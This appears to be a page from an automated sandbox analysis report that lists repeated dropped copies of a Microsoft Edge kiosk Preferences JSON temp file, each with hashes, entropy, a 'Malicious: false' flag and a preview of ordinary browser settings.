Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF32bc4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF35fd4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF38f7f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF3be7f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF3ef24.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF41ecf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF44e7a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF47ea2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF4adc1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF4de66.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF50ad5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF53928.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF566fe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF595a0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF5c25d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF5f237.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
